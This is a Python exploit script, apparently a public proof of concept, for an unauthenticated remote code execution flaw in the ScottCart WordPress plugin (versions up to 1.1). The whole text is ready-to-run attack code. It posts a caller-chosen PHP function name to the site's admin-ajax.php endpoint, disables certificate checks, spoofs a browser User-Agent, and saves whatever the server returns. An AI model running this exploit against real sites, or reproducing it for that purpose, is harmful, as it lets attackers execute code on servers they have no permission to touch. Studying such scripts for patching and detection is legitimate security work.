import argparse import sys from datetime import datetime from urllib.parse import urljoin import requests # By Nxploited | Khaled Alenazi, requests.packages.urllib3.disable_warnings() HEADERS = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" } def create_session(): session = requests.Session() session.verify = False return session def build_target_url(base_url): return urljoin(base_url, "/wp-admin/admin-ajax.php") def build_payload(function_name): return { "action": "scottcart_load_function", "function": function_name } def make_post_request(session, target_url, payload): try: response = session.post( target_url, data=payload, headers=HEADERS, timeout=10 ) return response except requests.exceptions.RequestException as e: print(f"[!] Error during request: {e}") sys.exit(1) def format_timestamp(): return datetime.now().strftime("%Y-%m-%d_%H-%M-%S") def generate_filename(timestamp): return f"results_{timestamp}.txt" def save_output_to_file(output, timestamp): filename = generate_filename(timestamp) try: with open(filename, "w", encoding="utf-8") as f: f.write(f"# Timestamp: {timestamp}\n\n") f.write(output) print(f"[+] Output saved to {filename}") except Exception as e: print(f"[!] Failed to save output: {e}") def handle_response(response): if response.status_code == 200: print("[+] Exploit successful! Output:\n") print(response.text.strip()) else: print(f"[!] Exploit failed with HTTP {response.status_code}") print(response.text.strip()) return response.text.strip() def exploit(url, function_name): session = create_session() target_url = build_target_url(url) payload = build_payload(function_name) response = make_post_request(session, target_url, payload) output = handle_response(response) timestamp = format_timestamp() save_output_to_file(output, timestamp) def parse_arguments(): parser = argparse.ArgumentParser(description=''' ScottCart <= 1.1 - Unauthenticated Remote Code Execution By Nxploit Khaled Alenazi. ''') parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g., http://192.168.100.74:888/wordpress)") parser.add_argument("-p", "--payload", default="phpinfo", help="Function to call (default: phpinfo)") return parser.parse_args() def main(): args = parse_arguments() exploit(args.url, args.payload) if __name__ == "__main__": main()